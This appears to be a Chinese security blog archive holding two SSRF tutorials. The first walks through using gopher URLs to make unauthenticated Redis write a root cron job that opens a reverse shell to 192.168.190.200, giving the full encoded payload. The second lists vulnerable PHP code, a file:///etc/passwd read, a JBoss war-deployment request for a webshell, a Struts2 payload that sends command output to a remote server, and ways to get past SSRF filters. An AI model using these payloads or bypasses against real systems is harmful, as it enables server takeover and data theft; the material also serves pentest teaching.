标签归档:ssrf

【SSRF】SSRF+Gopher搞定内网未授权Redis

Gopher 协议是 HTTP 协议出现之前。利用gopher协议可以把SSRF的威力发挥到极致。例如可以通过Gopher协议攻击redis、fastcgi、memcache等等。
需要注意的是有些版本的curl、libcurl是不支持gopher协议
查看下CentOS6.5的curl和libcurl的版本

[root@server120 php-fpm.d]# rpm -qa | grep curl
libcurl-7.19.7-52.el6.x86_64
libcurl-devel-7.19.7-52.el6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
curl-7.19.7-52.el6.x86_64

查看下curl支持的协议

[root@server120 html]# curl -V
curl 7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp 
Features: GSS-Negotiate IDN IPv6 Largefile NTLM SSL libz

可以看到支持的协议为Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp
或者使用

[root@sso72 admin]# curl-config --protocols
HTTP
HTTPS
FTP
FTPS
FILE
TELNET
LDAP
DICT
TFTP

同样可以通过phpinfo看到

123

ssrf.php代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

通过sftp协议和dict协议,可以获取SSH和libcurl的版本。
可以使用netcat在公网起个监听,然后

curl -vv http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:2333

然后可以看到banner信息

[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
CLIENT libcurl 7.19.7

QUIT

libcurl的版本为7.19.7

curl -vv http://127.0.0.1/ssrf.php?url=sftp://127.0.0.1:2333
[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
SSH-2.0-libssh2_1.4.2

可以看到SSH的版本为SSH-2.0-libssh2_1.4.2

升级curl libcurl到7.51,升级步骤如下:

yum install epel-release -y
rpm -Uvh http://www.city-fan.org/ftp/contrib/yum-repo/rhel6/x86_64/city-fan.org-release-1-13.rhel6.noarch.rpm
yum install libcurl

查看升级后的版本:

[root@server120 yum.repos.d]# rpm -qa | grep curl
libcurl-7.51.0-3.0.cf.rhel6.x86_64
curl-7.51.0-3.0.cf.rhel6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
libcurl-devel-7.51.0-3.0.cf.rhel6.x86_64

123

可以看到是支持gopher协议了,然后来测试一下:

curl -v 127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test
[root@server120 netcat-0.7.1]# ./src/netcat -l -p 2333
test

可以看到收到了test

然后测试写入本地未授权的redis服务器的定时任务

使用nc获取一下接受到的数据,使用nc监听本地6379端口,因为要输入多条命令所以这里使用-L
-L              监听直到NetCat被结束(可断开重连)
F:\tools\工具\nc>nc.exe -L -p 6379 > C:\redis.txt
然后输入redis未授权写入crontab的命令

redis-cli -h 192.168.190.201 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n"|redis-cli -h 192.168.190.201 -x set 1
redis-cli -h 192.168.190.201 config set dir /var/spool/cron/
redis-cli -h 192.168.190.201 config set dbfilename root
redis-cli -h 192.168.190.201 save

然后看一下redis.txt中写入的部分内容
123

然后使用python urlencode一下

[root@server120 tmp]# cat gopher.py 
from urllib import quote
print quote(open('/tmp/redis2.txt').read())

[root@server120 tmp]# python gopher.py 
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

然后我们用curl提交一下

[root@server120 html]# curl gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
+OK
+OK
+OK
+OK
+OK

然后看一下redis,成功写入

[root@server120 tmp]# redis-cli 
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n\n"

然后看下定时任务,成功写入定时任务
123

这是使用curl提交gopher请求,然后通过ssrf来提交一下gopher请求,这里需要再次urlencode

>>> from urllib import quote
>>> print quote('gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A')
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

然后提交一下

curl 'http://127.0.0.1/ssrf.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A'

可以成功写入定时任务。

另外针对PHP-FPM 9000端口监听本地的情况同样可以,不过前提是需要知道一个php文件的路径。

参考文章:
http://www.tuicool.com/articles/32UnAzq
http://0cx.cc/some_tips_with_sssrf.jspx
http://wufeifei.com/ssrf/

【SSRF】挖掘和绕过

SSRF(Server-side Request Forgery)
漏洞挖掘:

很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。如果对用户提交的URL没有做好判断,攻击者就可以通过该机器代理攻击内网服务器。
容易导致SSRF漏洞的Web功能有分享功能、手机转码、图片相关等等,总之在请求的参数中存在URL的时候都需要敏感一些。

SSRF缺陷代码:
1)file_get_contents

 <?php
 $fh= file_get_contents($_GET['url']);
 echo $fh;
 ?>

2)curl_exec

 <?php
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 $output = curl_exec($ch);
 echo $output;
 curl_close($ch);
 ?>

3)fsockopen():

<?php 
 function GetFile($host,$port,$link) 
 { 
 $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
 if (!$fp) { 
 echo "$errstr (error number $errno) \n"; 
 } else { 
 $out = "GET $link HTTP/1.1\r\n"; 
 $out .= "Host: $host\r\n"; 
 $out .= "Connection: Close\r\n\r\n"; 
 $out .= "\r\n"; 
 fwrite($fp, $out); 
 $contents=''; 
 while (!feof($fp)) { 
 $contents.= fgets($fp, 1024); 
 } 
 fclose($fp); 
 return $contents; 
 } 
 }
 ?>

漏洞利用:
1)通过file协议读取本地文件
libcurl支持file协议
http://192.168.192.120:8888/ssrf.php?url=file:///etc/passwd

123

2)扫描内网Web服务
最常用的就是扫描内网的Web服务,获取内网IP的方式有:
a.漏洞平台历史漏洞获取
b.子域名解析结果中
c.扫描器扫描(例如WVS扫描会报出内网IP)
同时可以识别内网应用的CMS等等,针对性的攻击。

3)扫描敏感端口
可以根据返回内容、返回数据包的长度、页面响应时间等等确认端口

4)攻击内网Web应用
这个wooyun上有人分享过了,仅仅通过GET方法就能攻击的两个案例:
JBOSS远程部署,通过get请求就可以获得Webshell

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war

通过JBOSS HtmlAdaptor接口直接部署远程war包, 我们可以通过access.log去验证war包是否成功部署.下面就是通过SSRF去执行不同的命令.还有一种方式,就是我们可以通过我们服务器的access.log日志获取到远程服务器对应的公网IP, 有时也会有一些意外惊喜.
structs2 命令执行

?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}

命令执行结果会发送到远端服务器,通过access.log获取。

5)配合gopher协议攻击本机或内网服务
绕过姿势:
1)http://www.baidu.com@10.10.10.10与http://10.10.10.10 请求是相同的
此脚本访问请求得到的内容都是10.10.10.10的内容。
该绕过同样在URL跳转绕过中适用。
http://www.wooyun.org/bugs/wooyun-2015-091690
2)ip地址转换成进制来访问
115.239.210.26 = 16373751032
3)添加端口可能绕过匹配正则
10.10.10.10:80 案例:
http://www.wooyun.org/bugs/wooyun-2014-061850
4)用短地址绕过,案例:
http://www.wooyun.org/bugs/wooyun-2010-0132243
5)通过302跳转。案例:
http://www.wooyun.org/bugs/wooyun-2010-0135257
6)利用xip.io
案例:http://www.secpulse.com/archives/30876.html
用法:
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
没有判定DNS查询的内容,认为DNS查询的结果都是外网的,而通过某种方式可以控制DNS请求的返回为内网。